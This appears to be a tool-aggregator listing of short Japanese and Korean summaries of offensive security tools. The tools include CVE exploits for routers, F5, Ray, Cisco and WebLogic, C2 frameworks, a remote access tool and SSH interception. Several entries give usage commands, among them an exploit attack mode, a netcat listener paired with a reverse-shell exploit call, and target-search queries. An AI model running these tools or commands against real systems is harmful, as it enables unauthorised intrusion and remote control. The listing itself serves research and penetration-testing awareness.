Pingpon-Exploit

PINGPON EXPLOIT 著者: @037 Pingponは、Shodan.ioを使用して数千の脆弱なGPONホームルーターを取得し、リモートコード実行の脆弱性（CVE-2018-10562）を利用して任意のLinuxコマンドを実行するためのツールです。 免責事項 私は、このツールの使用によって引き起こされた損害や行われた犯罪について一切の責任を負いません。 元のスクリプト: github.com/f3d0x0/GPON 前提条件 Python 3.x をインストールする必要があります root@kitploit: apt-get install python3 また、Shodan...

CVE-2022-1388-EXP

CVE-2022-1388-EXP これはCVE-2022-1388-EXPです 著者:Caps@BUGFOR Github:https://github.com/bytecaps 改作者:LinJacck Github:https://github.com/LinJacck 機能紹介 検証モード：python CVE20221388.py -v -u targeturl 攻撃モード：python CVE20221388.py -a -u targeturl -c command 一括検出：python CVE20221388.py -s -f file WebShellモード：pyth...

beyondtrust-rce-scanner

CVE-2026-1731 — BeyondTrust Remote Support & PRA 事前認証RCE 概要 BeyondTrust Remote Support および Privileged Remote Access における重大な事前認証RCE。認証されていないリモート攻撃者が OS コマンドを実行できます。...

CVE-2023-6019

Ray OS コマンドインジェクション RCE（認証不要） 使用方法: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

evilrdp

🚩 후원자 이 프로젝트가 마음에 드신다면 GitHub에서 후원을 고려해 주세요! Sponsors EVILRDP - RDP에 대한 더 많은 제어 aardwolfgui의 사악한 쌍둥이로, aardwolf RDP 클라이언트 라이브러리를 사용하여 대상에 대한 확장된 제어와 명령줄에서 추가 스크립팅 기능을 제공합니다. 기능 명령줄에서 마우스와 키보드를 자동으로 제어 명령줄에서 클립보드를 자동으로 제어 클라이언트에서 SOCKS 프록시를 생성하여 RDP를 통해 대상으로 네트워크 통신을 전달 파일을 업로드하지 않고 대상에서 임의의 SHELL...

QuickResponseC2

기능 - 사용법 - 데모 - 워크플로우 개요 - 할 일 QuickResponseC2 QuickResponseC2는 중간 HTTP/S 서버를 통해 공격자와 피해자 시스템 간의 간접적이고 은밀한 통신을 가능하게 하는 Command and Control C2 프레임워크입니다. 모든 네트워크 활동은 이미지 업로드 및 다운로드로 제한되어 기존 IPS/IDS 시스템에 탐지되기 어렵고, 보안 연구 및 침투 테스트에 이상적인 도구입니다. 기능: QR 코드를 통한 명령 실행 : 사용자는 피해자 시스템에 사용자 정의 명령을 QR 코드로...

Apollo

Apollo Python で書かれたシンプルで軽量なリモートアクセスツール Apollo は Python 3.4+ 向けのクロスプラットフォーム（Windows、Linux、FreeBSD & MacOS）リモートアクセスツールです。現在の機能は非常に基本的なものですが、ポストエクスプロイテーションのリモートコード実行と、クライアントシステムの情報を取得して Command & Control サーバーに報告することを可能にします。 特徴 複数のクライアントを同時に制御する機能 クロスプラットフォーム（Windows、Linux、FreeBSD および macOS） D-H 鍵交換に...

Social-media-c2

ソーシャルメディアにおけるコマンド&コントロールサーバー このスクリプトは、ソーシャルメディアプラットフォームを使ってマシンを制御する方法の概念実証です。 説明と使用方法 スクリプトには以下の機能があります： history - history をリツイートする、説明に 'history' を含むInstagramの写真に「いいね」する、またはTelegramボットに 'history' と送信すると、ブラウザ履歴を削除します（Firefoxのみ対応）。 mac - mac をリツイートする、説明に 'mac'...

CVE-2023-20198-RCE

Fofa root@kitploit: body="window.onload=function url ='/webui';window.location.href=url;" && ishoneypot=false && isfraud=false 使い方 root@kitploit: usage: CVE-2023-20198-RCE.py -h -u URL -p PROXY -au ADDUSER -ap ADDPASS -du DELUSER -pm PRIVILEGEMODE -em EXPLOITMODE -oc OSCMD -cc CLICMD...

C2-Pwn

C2-Pwn Shodan APIを使用してC2サーバーを取得し、既知のエクスプロイトを実行します。 API利用にはShodanアカウントが必要です。https://www.shodan.io/ RATエクスプロイト対応 Dark Cometリモートファイルダウンロード https://www.rapid7.com/db/modules/auxiliary/gather/darkcometfiledownloader Gh0st RATバッファオーバーフロー https://www.rapid7.com/db/modules/exploit/windows/misc/gh0st Net...

CVE-2026-24061

Telnet脆弱性スキャナ＆エクスプロイタ このPythonスクリプト（main.py）は、マルチスレッドのツールで、ターゲットIP/ホスト名のリストをスキャンし、Telnet経由で特定の脆弱性を悪用しようとします。 !WARNING このツールは教育目的および許可されたペネトレーションテストのみを対象としています。所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。 動作の仕組み スクリプトはTelnetを介して各ターゲットに接続し、Telnetネゴシエーションフェーズ（IAC SB NEW-ENVIRON）中に悪意のある環境変数（USER=-f...

Weblogic

weblogic CVE-2019-2725 CVE-2019-2729 POC コマンドを実行し結果を表示 usage: 単一ターゲット python3 weblogicgetwebshell.py http://url バッチターゲット、バッチURLをurllist.txtに配置 python3 weblogicgetwebshell.py all...

pwnflow

Pwnflow 🎯 보안 테스트 및 분석 여정 시각화 Pwnflow는 사이버보안 전문가를 위해 특별히 설계된 마인드 매핑 플랫폼입니다. 민감한 데이터를 완벽하게 제어하면서 보안 테스트 방법론을 시각화, 추적 및 공유할 수 있습니다. 🚀 주요 기능 핵심 기능 🗺️ 대화형 마인드 맵 : 직관적인 시각적 인터페이스로 복잡한 보안 테스트 워크플로우를 생성하고 탐색합니다. 🤖 AI 기반 지원 : 통합 AI 기능으로 노드 제안을 생성하고 방법론을 확장합니다. 📋 명령어 템플릿 : 변수 치환 기능이 있는 CLI 명령어를 저장하고 재사용합니다...

metabigor

Metabigor - OSINT power without API key hassle What is Metabigor? Metabigor maps a target's infrastructure without asking you to register for a single API key. Network ranges, certificates, related domains, exposed ports, CDN vendors, and code leaks - all from free sources, all pipeable into each...

nomore403

NoMore403 nomore403은 401, 403 및 관련 응답을 중심으로 HTTP 접근 제어 우회 및 파서 불일치를 테스트하기 위한 명령줄 도구입니다. 이 도구는 실무 웹 보안 작업버그 바운티, 침투 테스트, 보안 검토, 접근 제어 규칙 회귀 테스트을 위해 설계되었습니다. 광범위한 요청 변형 세트를 자동화하고, 기준선을 캡처하며, 일반적인 오탐지를 필터링하고, 의미 있는 우회 가능성이 가장 높은 응답을 강조합니다. 기능 대상 URL이 주어지면 nomore403은: 1. 기준 요청을 보내 차단된 응답을 캡처합니다. 2...

Invoke-ArgFuscator

░█░█▄░█░█▒█░▄▀▄░█▄▀▒██▀░▒░ ▄▀▄▒█▀▄░▄▀▒▒█▀░█▒█░▄▀▀░▄▀▀▒▄▀▄░▀█▀░▄▀▄▒█▀▄░ ░█░█▒▀█░▀▄▀░▀▄▀░█▒█░█▄▄░▀▀░█▀█░█▀▄░▀▄█░█▀░▀▄█▒▄██░▀▄▄░█▀█░▒█▒░▀▄▀░█▀▄░ Invoke-ArgFuscator Invoke-ArgFuscator は、Windows、Linux、macOS で一般的なシステム標準の実行可能ファイル向けの難読化コマンドラインの生成を支援する、オープンソースのクロスプラットフォーム PowerShell モジュールです。 👉 ArgFuscator...

CVE-2024-51378

CVE-2024-51378 CVE-2024-51378 脆弱性の分析、脆弱なホストの検索、Python と nuclei によるシングルスレッドおよびマルチスレッドモードでのエクスプロイト使用のためのスクリプト。スクリプトの使用は、テストホスト上での学習目的に限り許可されます。 1-CVE-2024-51378.pdf - 作業結果のテキスト説明を含むメインファイル 2-exploit - 作業のセクション2のファイル 51378use.py – シングルスレッドモードでエクスプロイトを適用するためのファイル。起動時に指定された URL にコマンドシーケンスを送信できます。 実行例:...

PiX-C2

PiX-C2 ICMP C2 サーバーアプリケーション 作者: NoCow メール: [email protected] ICMP C2 プロジェクト（PiX-C2）は、ICMP のみを使用してコマンド制御を可能にするクライアント/サーバーアプリケーションです。サーバーは ICMP パケットをスニッフィングし、ICMP パケットのデータペイロードから情報を取得します。 適切なデータを受信すると、クライアントにコマンドが送信されます。コマンドは "run " で始まる必要があります。その他のサーバーオプションには、sleep、sysinfo などがあり、今後追加予定です。 前提条...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 返されたJSESSIONIDとcsrftokenを取得し、リクエストパケットを構築してユーザーを追加（JSESSIONID、csrftokenを置換） root@kitploit: cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 プラグインのコンパイルとインストール root@kitploit: mvn clean package または releases からプラグインをダウンロード 0x03...

ssh-mitm

SSH-MITM - ssh 감사ssh audits를 간편하게 승인된 보안 감사를 위한 대화형 SSH 가로채기 도구입니다. 세션을 가로채고, 실시간 트래픽을 모니터링하며, 명령을 주입하고, 파일 전송을 조작할 수 있습니다 — 모두 실시간으로 가능합니다. !https://img.shields.io/mastodon/follow/1095976637678012...